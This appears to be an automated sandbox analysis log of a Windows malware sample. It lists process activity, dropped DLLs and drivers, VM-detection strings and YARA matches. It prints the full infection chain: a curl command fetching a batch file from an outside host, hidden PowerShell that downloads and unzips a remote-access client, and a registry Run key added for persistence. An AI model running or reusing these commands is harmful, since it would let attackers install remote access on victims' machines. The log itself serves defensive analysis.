Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 776	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4889	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4870	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2158	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4033	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\nkakus\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\tailji\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\gehrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\branding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\kpodja\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\nkakus\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\katrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\kpodja\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\mirvfa\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\tailji\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\katrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\gehrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\mirvfa\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\gehrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\tailji\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\kpodja\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\mirvfa\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\nkakus\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\katrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Directory\hw.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6140	Thread sleep count: 4889 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6100	Thread sleep count: 4870 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 712	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4496	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep count: 2158 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep count: 4033 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2164	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2336	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: client32.exe, 0000001D.00000002.2017612312.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: HTCTL32.DLL.28.dr	Binary or memory string: VMware
Source: client32.exe, 00000021.00000003.1890131129.000000000137D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: chromecache_249.2.dr	Binary or memory string: KycyLD0Zix2BvaIjRuxI4HfREQu4HG7pHgFsGR0x8e7eyh+jI0boYQzL2cfkjS6qGJ/eymeBr0Z3
Source: HTCTL32.DLL.28.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: avutil-51.dll1.28.dr	Binary or memory string: xvmcidct
Source: HTCTL32.DLL.28.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: HTCTL32.DLL.28.dr	Binary or memory string: VMWare
Source: avutil-51.dll1.28.dr	Binary or memory string: Cbgrargbargb32bgr32le%s%sname nb_components nb_bits%-11s %7d %10dyuv420pyuyv422rgb24bgr24yuv422pyuv444pyuv410pyuv411pgraymonowmonobpal8yuvj420pyuvj422pyuvj444pxvmcmcxvmcidctuyvy422uyyvyy411bgr8bgr4bgr4_bytergb8rgb4rgb4_bytenv12nv21argbabgrgray16begray16leyuv440pyuvj440pyuva420pvdpau_h264vdpau_mpeg1vdpau_mpeg2vdpau_wmv3vdpau_vc1rgb48bergb48lergb565bergb565lergb555bergb555lebgr565bebgr565lebgr555bebgr555levaapi_mocovaapi_idctvaapi_vldyuv420p16leyuv420p16beyuv422p16leyuv422p16beyuv444p16leyuv444p16bevdpau_mpeg4dxva2_vldrgb444lergb444bebgr444lebgr444begray8abgr48bebgr48leyuv420p9beyuv420p9leyuv420p10beyuv420p10leyuv422p10beyuv422p10leyuv444p9beyuv444p9leyuv444p10beyuv444p10lep
Source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.clal*
Source: curl.exe, 00000018.00000003.1577949341.0000000002960000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000022.00000002.1973008502.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000022.00000003.1971676129.0000000000C2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Directory\client32.exe "C:\Users\user\AppData\Roaming\Directory\client32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f	Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\cmd.exe cmd /k c:\windows\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c c:\windows\system32\curl.exe -k -ss -x post "https://www.insideedgepr.com/header.php" -o "c:\programdata\xss.bat" && start /min "" "c:\programdata\xss.bat" press enter

Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWnd
Source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Progman

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: Yara match	File source: 00000022.00000002.1973402402.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2020043160.0000000002A72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.1888686094.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.1969236658.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.1763409289.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2019779438.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1973008502.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1890861207.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 5784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4772, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Directory\client32.exe, type: DROPPED
